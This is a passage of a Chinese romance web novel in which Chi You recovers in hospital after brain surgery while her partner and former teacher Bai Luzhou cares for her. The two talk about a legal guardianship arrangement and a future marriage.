反正,老医生走出手术室时,口罩上方的眼睛笑出皱纹,说这次手术太顺利了,等池柚醒了再住几天院观察观察,没事儿就能直接回家了,等以后脑门伤口愈合好再来拆个线就行。 不过,老医生也特别嘱咐白鹭洲,说留院观察这两天也要多多用心注意,看看会不会出现视觉障碍、意识模糊、失忆,等等此类可能会出现的后遗症。 所有人都松了一口气。 白鹭洲站在窗边,笑了一下,过会儿,又笑一下。 她自言自语地低低说了很多声谢谢,不知道是给谁说的。 她自己也不知道这是给谁说的。 说给谁都好。 她谢谢每一个人,和每一个神向她洒下的眷顾目光。 池柚和上次一样,昏睡着被推到病房里。 也和上次一样,她睡了好久才醒,全麻的劲儿总是这么大。 池柚睁开眼后,目光立即下意识地去找白鹭洲的身影,看见白鹭洲就坐在自己床边,她张了张嘴,懵懵地问了句: “我活着吗?” 白鹭洲温柔地看她:“活着呢。” 池柚:“成功了?” 白鹭洲:“成功了。” “……” 池柚缓了会儿神,忽然长叹一声。 “唉,昨天交代那么多后事,结果全是浪费感情啊?” 白鹭洲笑了下,垂眼,将手放在池柚的手背上。 她揉了揉池柚的手背,问她:“你可以陪我到一百岁了,开心吗?” 池柚:“开心。” 白鹭洲:“那……戒指可以等到我生日那天,你亲自给我戴上了。” 池柚笑了:“对,我要亲自给你戴上。” 白鹭洲犹豫了片刻,又说:“还有,那个奶糖,可以给我换成贵一点的吗?” 池柚:“为什么?贵的不一定好吃啊。” 白鹭洲:“昨天没好直说,太便宜的……我怕有乱七八糟的添加剂。” 池柚又噗嗤笑了,“好,那我们回头一起去糖果店挑。” 白鹭洲点头:“好。” 池柚意识到,所有危险已经过去,所有悲伤也该被略过,于是不再忍着什么,不再强迫着自己伪装出太过懂事的姿态,嘴巴一撇,眼睛里蒙上泪。 “好疼啊白鹭洲,我好疼。” 白鹭洲忙起身,弯腰去看,关切道:“哪里疼?” 池柚:“头,里面疼,外面缝合的地方也疼。” 白鹭洲:“那……我叫医生来给你加一点止痛药。” “算了,”池柚思索过后拒绝,“那种东西会损伤我天才的大脑。” “天才……” 白鹭洲觉得池柚这句话很可爱,抿着唇笑了短短一瞬。 “好吧,那天才的医学生告诉我,要怎么样才能缓和一点?” “只能硬抗了。” 池柚握住白鹭洲的手左右晃。 “但是你可以哄我,你说:小柚柚,顺顺毛,不疼疼。” 白鹭洲:“……” 就在这时,从外面买饭回来的朋友们推开门,挨个走进来。 宋七月一进门,* 就狞着五官吐槽:“小柚子,你恶不恶心啊?” 黎青笑道:“你是不是也太为难人家白教授了?” 柴以曼挑着眉“啧啧啧”半天。 池柚的脸一下子红了。 “你、你们怎么偷听人说话?” 宋七月将热乎乎的馄饨和白粥放在床头柜上,“妈呀,你还知道害羞呢?” 黎青:“她的厚脸皮也就只对白教授了。” 柴以曼走到窗边,打开窗户,“透透气儿啊各位,狗粮渣撒我鼻子里了。” 白鹭洲摸了下池柚滚烫的脸颊,温声说: “好了,吃饭。” 池柚坐起来,白鹭洲将靠枕塞在她背后。然后池柚无意识地抬手摸了摸自己发疼的头,才摸了一下,表情就凝固了。 “我被……剃头了?”池柚小心翼翼地向白鹭洲确认。 白鹭洲:“剔了要做手术的一小块,不多。” 黎青插嘴:“小柚子你学医你还不知道,开颅手术怎么可能不剃头。” 池柚的眼神渐渐绝望,“我忘了。” 白鹭洲打开热粥盒子,取出勺子擦干净,递给池柚。 池柚没接,说:“我被剃头了白鹭洲,我没有心情吃饭了。” 白鹭洲:“就……也不是很丑,其实。” 池柚:“你给我个镜子。” 白鹭洲:“……还是别照了。” 池柚怔怔地看着白鹭洲。 半晌。 “现在我更绝望了。” 就剃头这个问题,宋七月安慰池柚说迟早会长出来的,黎青笑个不停,柴以曼在线搜索生发水,说找个好的回头当出院礼物送给池柚。 池柚摸着自己被剃掉头发的那一块地方,含着眼泪吃白鹭洲喂给她的热粥。 委屈巴巴的。 像只被主人剃了毛后的自闭小狗。 她们从下午劝到天黑,才让池柚暂且放下了剃头的事。 到了晚上,只留白鹭洲一个人陪床。 池柚知道白鹭洲这两天肯定没好好吃饭睡觉,所以监督她吃过饭后,叫她上床来和自己一起睡。 白鹭洲没有推拒,她确实快累到了极限,而且她也很想抱一抱现在的池柚。 两个人躺在窄窄的病床上,白鹭洲小心地避开池柚的手术伤口,将她抱在怀里。 她们聊了很久的天。 池柚说她很想白鹭洲,白鹭洲说自己也很想她。 其实这两天她们没有分离过,但她们都明白,彼此口中的“想念”是什么意思。 聊着聊着,她们一起睡着了。 夜风从窗户狭小的缝隙里吹进来,透入一丝令人舒适的凉爽。 紧绷的神经在夜风的抚慰下逐渐舒展,残留在心里的后怕被月光晒干,紧紧相贴的皮肤交换着各自的美梦,呼吸错落,铺卷在枕头上的发丝也在拥抱对方。 这本该是安眠的一晚。 但半夜的时候,池柚皱着眉头哼哼唧唧,在白鹭洲怀里忽然连续地翻了好几个身。 睡得浅的白鹭洲被模糊吵醒,朦胧地盯着池柚看了一会儿,发现是她的伤口又疼了。 “好疼啊……白鹭洲……” 池柚在睡梦中喊白鹭洲。 “好疼……好疼……” 白鹭洲忙收拢胳膊,抱紧池柚,手搁在池柚的肩头轻轻拍着。 “没事,没事。” “好疼……” 池柚眼尾的睫毛被生理性疼痛激出的眼泪濡湿了。 “疼……” 白鹭洲抿了抿唇角,心尖被池柚的一声声“疼”喊得发紧,无措起来。 良久。 她红了半边耳朵,手的动作改拍为摸,一下一下捋着池柚后脖被汗湿的头发。 轻轻地、轻轻地尝试着吐出那句羞耻的: “……小柚柚,顺顺毛,不疼疼。” 【全文完结】 第115章 池柚折腾了大半宿, 隔一会儿就要梦呓说疼,但偏偏她自己睡眠质量还挺好,再疼都没醒过。 白鹭洲没办法, 只能一直抱着她,不停地哄她。 哄到天亮的时候, 白鹭洲感觉自己已经对那几个肉麻至极的叠词免疫了。 人类的本质是不是复读机她不知道。 但今晚的她肯定是个复读机。 白鹭洲也不清楚自己是什么时候睡着的。 从破晓到晨曦铺满天边, 再到旭日初升, 由橙黄变成金黄。 直到刺眼的阳光从窗外照进来,用灼热的温度与身体皮肤的接触来提醒人们:到中午咯,再懒也该起床了。 白鹭洲的潜意识里总有一只秒表, 帮她掐着deadline。 她的大脑算着差不多睡够了修复疲惫的时间,便自觉醒来。 一睁眼,白鹭洲就看见池柚那双清亮澄澈的大眼睛一眨不眨地盯着她。 白鹭洲:“你怎么醒……” “你是谁啊?”池柚茫然地打量着眼前的人,“我在哪儿?你为什么会在我床上?” 白鹭洲:“……” 池柚:“头好疼, 嘶……我怎么什么都想不起来了?” 白鹭洲清去刚醒的困顿, 面色平静地答:“我是附近山头的绑匪头子,看你长得好看,就把你绑到山寨里,准备让你做压寨夫人。” 池柚:“绑匪头子怎么是个女的?” 白鹭洲:“时代在进步, 现在什么岗位都可以是女的。” 池柚:“时代都这么进步了, 还有山寨这东西?” 白鹭洲:“总有时代进步的漏网之鱼。” 池柚环视周围一圈,“可是, 我看这里不像山寨啊, 全是白色。” 白鹭洲:“哦,我们山寨的装修比较独特, 灵堂风。” 池柚绷不住,笑了: “你不觉得自己编得很离谱吗, 白鹭洲?” “是你先和我装失忆的,”白鹭洲撑着床沿坐起来,“你明知道,我这会儿最怕的就是你出现这一类的后遗症。” 池柚也坐起来,抱住白鹭洲的胳膊,“我就是想和你开个玩笑。” 白鹭洲:“嗯,蛮好笑的。” 池柚偏着头观察白鹭洲没什么表情的脸,后悔了。 “你生气了?我……我没想惹你担心,对不起,我和你道歉。” 白鹭洲本也没真的生气,见池柚态度诚恳,便在叹气间放柔了五官轮廓,“早上医生有没有来查过房?” 池柚:“查过,我醒着,他说我一切都好。” “那就好,”白鹭洲下床穿鞋,“你还没吃饭吧?我去给你买点饭。” 池柚点菜:“我要小笼包和红枣奶。” 白鹭洲都答应下来:“好。” 医院附近的早餐摊不少,但转了一大圈,白鹭洲只买到了小笼包。为了买到红枣奶,她沿着路一直找,走出去两公里多才买到。 一去一回,差不多五公里了。 白鹭洲的脚踝早就开始发疼,可是想到池柚这几天都没好好吃过东西,难得现在恢复一些,她想吃什么自己都应该全部满足才对,于是一言不发地走完这个来回。回到医院时,她的走路姿势也没让池柚看出来什么端倪。 池柚今天胃口不错,吃小笼包嚼得很香,把自己的腮帮子都吃成了小笼包。 “慢点吃。”白鹭洲含着笑,给池柚递红枣奶。 “嗯嗯。”池柚乖巧地点头。 白鹭洲低头将小笼包的塑料袋边沿卷下去,免得蒸汽捂湿包子,“等你吃完饭,我得出去一趟。我一会儿在群里问问看她们谁有空,叫个人过来陪你。” 池柚含着包子口齿不清地忙问:“你去干什么?” 白鹭洲:“今天法医应该出检验结果了,我去警局看看,有没有什么新进展。” 昨晚睡前夜聊环节,白鹭洲已经和池柚说了她那天去警局的情况,免得她担心。 池柚想了想,说:“你这两天跑东跑西的太累了,还是别去了。其实,知道这件事顺利交给警局那边就好,我不是非要一个好的结果才甘心。” 白鹭洲微讶地抬了抬眉。 又释然一笑。 “也对,你做事,从来都只是因为那样做是正确的才去做,结果如何,都习惯交给世情自断。” “是啊——我就是,在每一个时刻,做那一刻该做的事。” 池柚对白鹭洲眨眨眼,忽然问她: “老师,你知道我为什么要这样吗?” 白鹭洲顺着池柚的话问: “为什么?” 池柚轻咳两声:“想知道的话,你得要用什么来换才行啊。” 白鹭洲看着池柚那有点小得意的样子,忍不住笑了笑,“你想要什么?” “嗯……不知道。”池柚扬起下巴,“现在是你要讨好我,你得主动想才对。” 白鹭洲的求知欲没有那么旺盛,不过看池柚一副很想要说出来的表情,她便也努力地去想,怎么给池柚一个说出答案的台阶。 “等你出院以后,我给你做一个月的饭,可以吗?” 白鹭洲问。 池柚噗嗤笑了。 “你好没创意,当时刚在一起的时候,你也总是说要给我做饭来讨好我。你就想不到其他可以逗我开心的办法了吗?” 白鹭洲:“帮你洗衣服。” 池柚:“我自己会把脏衣服放进洗衣机。” 白鹭洲:“帮你剪指甲。” 池柚:“不要,你每次都剪得好慢,我自己剪还利索一些。” 白鹭洲:“那是怕伤到你。” 池柚:“反正不要。” 池柚双手撑着床沿抻了抻坐僵了的腰,撅嘴: “说来说去还是平常那些,你有的时候不是挺会谈恋爱的么?有的时候,怎么又是木木的了。” 白鹭洲:“那……” “好啦,我告诉你。” 池柚也不忍心让白鹭洲苦思太久,拉住白鹭洲的手,认真地看着她。 “因为我做的每一件事,都是你曾经教给我,要我去遵循的‘人类美德’。” “我教过你的?” “嗯。” 池柚点点头。 “就像以前,是因为你告诉过我,‘物归原主’是美德,我才会在游轮上想尽办法保护那一百块钱。也是因为你曾经告诉过我,‘负责’是美德,我才会坚持对柴姐姐承诺过的三个月负责。这次也一样,因为你教过我,‘帮扶弱者,心怀正义’是美德,我才会拼了命地帮那个女孩要一个公正。” 白鹭洲按制住被这番话隐隐触动的心,问: “为什么要这样?” “你知道的,我不是一个正常的普通人,我天生分不清善恶,辨不懂正邪,但我明白,我不想变成一个像我爸爸那样的怪物。而老师你是个很好很好的人,我就觉得,你教给我的所有东西,我都可以放心地去执行。” “可你凭什么觉得我很好很好?凭什么那么相信,我说的就都是对的?” 白鹭洲想了想。 “就凭当年小学体育课上,我在操场边给你系7次鞋带?还是凭那时,我总是把我的早餐奶和润喉糖分给你,看起来像个好人?” “这些全部都是理由哦,老师。” 池柚灿烂地笑了一会儿,又补充道: “但主要原因,还是另一个啦。” “是什么?” “你还记不记得,我9岁那年,在墓园,你和我说过的话?” 池柚支起下巴,晃着手里的红枣奶。 “你说,要我再给其他人一个机会,那些我当时还没有遇到的,会在我未来出现的人,新的同学,新的舍友,其他老师,其他朋友。你说我会顺利地读过中学,读到大学,期间一定会有人发现我很可爱,喜欢和我做朋友。你说我会找到最适合我的那条路。你说我会明白,没有生下来就‘错’的人,只有没有放对位置的天才。你说,我会被这个世界善待的。” “那天晚上,我第一次真正想要活下去,想要亲眼去看看,你口中的那个‘未来’。” 池柚看向白鹭洲,眼波温软辽阔。 “而现在,你和我说的‘未来’,我有幸,已经来到了。” 她顺利地读完了中学,读完了大学,甚至读完了研究生。 她也遇到了很多善良的人,如今,还拥有好几个特别喜欢她的朋友。 她找到了适合她的职业。 找回了她的老师。 找到了她的爱人。 白鹭洲眼底的光被晕开。 “这证明你完全是对的。” 池柚扬起笑脸,晃着搭在床边的两条腿。 “所以我相信你,你永远,都会把我带到对的路上。” 这一刻,白鹭洲不忍心再责备池柚,为了职业正义枉顾生命安危,差点就抛下她一个人。 她只看见一个生来就被命运抛弃的茫然小狗,湿哒哒地穿过一场大雨,艰难顺着栓在它脖子上的唯一细绳,寻找它的光、它的路。 小狗现在告诉她,绳子的另一端,其实从来就握在她的手上,任由她摆向任何方向。她还怎么再忍心,怪它在跌跌撞撞奔过来的路上,不小心摔在泥坑里跌破了小脑袋瓜。 “但……下一次再去做这些事,要小心一点,好吗?” 白鹭洲攥住池柚的手,沉下嗓子,柔软地与她商量。 白鹭洲已经尽量放软了这一句的语气,可没想到她说完以后,池柚的眼睛里猛地漫上了一层眼泪。 池柚明显不想让白鹭洲看见她哭的样子,连忙别过头去胡乱擦掉,只是呼吸时鼻腔里浓重的哭腔怎么也遮掩不住。 白鹭洲揽住池柚的肩,皱眉: “怎么了?” 池柚却擦不干净那些眼泪,脸侧的泪痕越挂越多。 她抽着鼻子,沉默良久。 “……我知道,我这次让你担心了。” 嗓音倏忽转低,坠满沉甸甸的愧疚。 “对不起,白鹭洲。” 白鹭洲抬手帮池柚擦眼泪,轻轻一笑:“所以担心的是我,哭的却是你?” 池柚低哑地说:“你还笑。” 白鹭洲:“那怎么办,我和你一起哭么?” 池柚的眼中漫上更多的泪水,一想起这两天白鹭洲会受的煎熬,心里也跟着揪疼,只知道低着头不断地重复:“对不起,对不起……” “永远不要和我说对不起。我说过,我知道你只是在做你觉得对的事,这并没有错。” 白鹭洲低头去看池柚的眼睛。 “而且,我相信通过这次的事,你以后行事会更小心,更挂念我的感受,对吗?” 池柚使劲点头。 “对。” “你看,事情这不就解决了么,别哭了,听话。” 白鹭洲在擦池柚眼泪的时候捏捏她的脸,温柔地对她笑。 “如果觉得这次实在愧疚,那……你也可以考虑一件事,作为补偿。” 池柚:“什么?” “当然,我会先征求你和你母亲的同意,如果她肯点头,如果你也愿意的话……” 白鹭洲握着池柚的那只手有些紧张地缩紧,抿了下唇角,又清了清嗓子。 “我想,和你去办意定监护。” 第116章 那晚在病房里, 医生对白鹭洲说的话,白鹭洲一直都没能跨过去。 她没有资格在池柚昏迷的时候,在池柚的手术单上签字。她甚至也不敢直接去找池秋婉来, 因为她不知道池柚是否愿意在这个时候让她母亲了解这件事。 于是所有担心和恐惧都翻了倍,在岌岌可危的安全感上覆了多几层的压迫。 如果还有下次…… 白鹭洲不愿去假设这种事, 可她习惯铺好所有后路的性格让她不得不去考虑这万分之一的可能发生, 哪怕是在几十年后, 因为一些自然产生的病痛而再次面临这样的局面,她也不想再有那晚的无力感了。 起码,给她一个能第一时间在手术单上签字的资格。 池柚面对白鹭洲这样的请求, 想也没想就自然地答应了:“好啊,我当然可以。” 白鹭洲先是愣了一瞬,才小心地问:“不……再想想吗?” 池柚摇摇头,“这有什么好想的?我一直都把老师当作我的监护人。” 白鹭洲不禁一笑, 伸手摸了摸池柚的侧脸。 “你这样说, 我更觉得,和你在一起是在干坏事了。” 池柚眯起眼睛,歪着脑袋在白鹭洲的掌心里蹭蹭。 “你本来就在做坏事。” 她弯弯的大眼睛闪着狡黠的光点,仿佛在对白鹭洲说: 你自己不都承认过了么, 你是个没有道德的老师哦。 白鹭洲心里早就磨灭掉的禁忌线, 此时莫名地又隐隐扯了起来。 尽管发展至此,已经挺没有必要的了。 她又笑了笑, 收回手, 催促池柚吃完手里的早餐。 在池柚吃早餐时,她们又聊了许多关于怎么和池秋婉坦白的打算。 池柚拿不准池秋婉的反应, 虽然池秋婉并不在意她选择怎样的伴侣,可白鹭洲与其他人不太一样, 毕竟那么多复杂的过往横在中间。 白鹭洲不太赞成池柚想要继续拖一拖的想法,她说,这次这么大的事情没有通知给池秋婉已经很不对了,作为池柚的母亲,许多事池秋婉该有知情权。 最后讨论来讨论去,白鹭洲妥协了一个折中的办法。 ——等池柚头上的伤完全愈合、头发也恢复到看不出端倪时,她们再一起去见池秋婉。 池柚怕池秋婉将这次的伤归责为白鹭洲的照顾不当,坚持要等伤好才愿意回家,白鹭洲也不愿池柚这时再为这事担忧更多,只得都答应她。 在医院观察的这几天,池柚似乎没有出现什么明显的后遗症,只是偶尔还是喊疼。 她还是坚持不肯用止痛药,除了表面上说的怕影响大脑的原因外,也悄悄告诉白鹭洲,其实是怕自己对止痛药产生依赖性。 白鹭洲知道,池柚作为医学生,对这方面懂得肯定更完备,于是不强加劝导什么。 出院前的那一晚,池柚躺在白鹭洲怀里,计划着出院后要去吃哪些好吃的。 说着说着,她话锋一转,忽然道: “白鹭洲,你还欠我件事。” 白鹭洲已经困乏了,先轻轻地“嗯”了一声,才问: “什么事?” “第一,你答应过我,等我学好了,会让我把你绑起来,对你这样这样、那样那样。我现在已经学得很好了,你不能反悔。” 池柚扒着指头。 “第二,你还没有对我说过‘我爱你’呢。” 白鹭洲紧了紧抱着池柚的胳膊,双眸困顿地阖着。 “这明明是两件事。” “你怎么把眼睛闭上了,快睁开快睁开。” 池柚双手捏住白鹭洲的两颊,轻柔地晃她的脑袋。 “我不管是一件还是两件,反正你得还。” 白鹭洲握着池柚的手,将它们从自己的脸上捉下来。白皙的侧脸泛着一点点被揉捏过后的粉红,不知是因为池柚手指的力度没把控好,还是情绪卷涌了滚烫的血液漫上来。 “好,还。” 白鹭洲没有告诉池柚那晚她已经在病床边说了无数遍“我爱你”的事,她似乎也永远都不准备提起了。 池柚睁大亮晶晶的眼睛,睫毛柔软地扑动。 “那你说。” 白鹭洲被这样看着,抿了抿嘴唇。 她犹豫了一瞬,才缓缓道: “我爱你。” 池柚惊讶极了,呆了好半天。 “你居然真的会说?” 尽管曾说过了无数遍,但这还是第一次在池柚的注视下说。白鹭洲脸侧的粉红没有消退,反而蔓延上了颧骨,她低了下巴,瞳孔滑到眼尾去看旁边。 “这次为什么这么顺从呀?” 池柚晃着白鹭洲的手腕,撑起身子探出头,努力地想闯入白鹭洲偏移的视线里。 “是不是、是不是因为我这次受伤,你很担心,很心疼,所以我现在提什么要求你都会答应呢?” 白鹭洲轻咳一声,将手腕从池柚的手中挣出来,扶住床沿慢慢坐起,说她想去上个厕所。 池柚看出来此刻的白鹭洲有些想要回避,于是也马上爬起来,说她也去。 白鹭洲:“……我上厕所你也要跟着?” 池柚理直气壮:“我们又不是没有一起上过厕所。” 白鹭洲疑惑:“什么时候?” 池柚:“就上次,你给浴缸里放了香料和白酒,我们一起泡身上尸臭的时候。” 白鹭洲噎了噎,“那、叫一起上厕所吗?” “浴缸在卫生间吧?马桶在卫生间吧?卫生间也叫厕所吧?”池柚彪悍的逻辑上线了,“我们一起进过卫生间,就是一起上过厕所啊!” 最后,白鹭洲当然没允许池柚跟她一起进厕所里,只带着池柚去到洗手池位置,就让池柚在厕所门口等着。 白鹭洲当然没有真的想上厕所,所以她进隔间以后,只是用手腕根撑墙站着,默默等过一小段时间,以此掩盖刚刚的一瞬失态。 数秒时,池柚的声音轻轻从隔间门外传来: “白鹭洲。” 白鹭洲向着池柚的方向抬起头。 “嗯?” “意定监护,抛开我们特有的前师生关系,在两个女人之间,是不是很重要的事啊?” 池柚说这句话的语气,让人可以大概想象到她低着头用脚尖在地上画圈的样子。 有些事池柚虽然答应得很干脆,可她并不是没心没肺。她会去认真想,认真回味,也认真地思索这件事放在凡俗人类之间的意义。 白鹭洲极浅地笑了一下,说:“是啊,大概……算一种结婚了吧?” 门外的池柚也笑了,“你的意思是,你愿意和我,有这种类似于结婚的关系吗?” “……”白鹭洲望着隔间门,仿佛可以与此刻的池柚对视,“愿意。” 门外好一阵子的沉默。 良久,池柚才小心翼翼地又开口: “我们以后……会结婚吗?” 白鹭洲毫不犹豫: “会。” “这、这算是,求婚吗?” 池柚意识到这一点时,开始有点后悔这么草率地问出了这个问题,在这种随意的地方,甚至还隔了一扇门。 而且,这样的问答,到底是算她向白鹭洲求的婚,还是白鹭洲向她求的婚? 没想到,门里的白鹭洲却回道: “不算。” “啊?” 池柚刚刚还在后悔自己的莽撞,听到白鹭洲说不算,心里又有点小失落了。 白鹭洲似是笑了一声。 “如果这算求婚的话,我很怕,你会把这么重要的一天起名为‘厕所日’。” 池柚忍不住笑了出来,能听到门里的白鹭洲在跟着她一起轻轻地笑。 “白鹭洲,你出来。”池柚忽然说。 白鹭洲:“怎么了?” 池柚只重复:“你出来。” 白鹭洲垂头拧开隔间的锁,推开门,走出去。 池柚就站在她面前,含着笑定定地看着她。 纱布包裹下,柔软的黑发清浅地落下披满肩背,眼底盛满窗外的月光星芒。让人莫名觉得,她好似突然长大了。 不是从21岁到22岁的长大,也不是从160CM到161CM的长大。 她的五官没有突然变得锐利,什么都不曾更改。 可是,她长大了。 她漂亮,清澈,如清泉,似飞雪。 涓涓绵绵,洋洋洒洒,从世外而来,将尘世洗涤无数载,温柔地飘落到爱人的眼前。 一瞬间,万千时光都重新浮现。 池柚向前走了一步,捧起白鹭洲的脸,缓缓闭上眼睛。 白鹭洲想要说些什么。 池柚已经猜到了白鹭洲要说的话,先开口,极轻地喃喃: “我看过了,周围没有人。” 于是白鹭洲便不再挣扎,任由池柚按着她的肩,将她抵在隔间门上,献来一个温柔漫长的亲吻。 池柚微微撤开,很近很近地与白鹭洲对视。 “你以后会给我一场最盛大,最美丽的求婚仪式,对吗?” 白鹭洲能感觉到她们的呼吸正在相缠。 “对。” 她沙哑地低声回道。 “我们会在一起一辈子,对吗?” 池柚又问。 白鹭洲:“对。” “你曾经答应过我的事,都会一件一件地兑现,对吗?” “对。” 池柚的眼里不知何时漫上一层湿润。 “从今以后,你会每天都对我说‘我爱你’,对吗?” 白鹭洲也红了眼眶,点头。 “对。” 池柚抬起右手,轻抚白鹭洲的侧脸,含着泪轻笑。 “有些事情,你总是让我等很久。” “再也不会了。” 白鹭洲按住池柚的手,嗓音有一点压抑后的颤抖。 “我保证,会给你最盛大的求婚,会在你身边一辈子,答应你的事全部去做,每一天都和你说‘我爱你’。不会再让你等,会很认真很细心地爱你,等你恢复了就去见双方的家长,陪你学驾照,给你买车,让你能方便地去上班,再给你买个房子,让你以后和我吵架的时候有个地方能去,还要……” “白鹭洲。” 池柚打断了白鹭洲。 她没有接白鹭洲的这些冗长的话,只踮起脚尖,紧紧环住白鹭洲的脖子,说: “我也爱你。”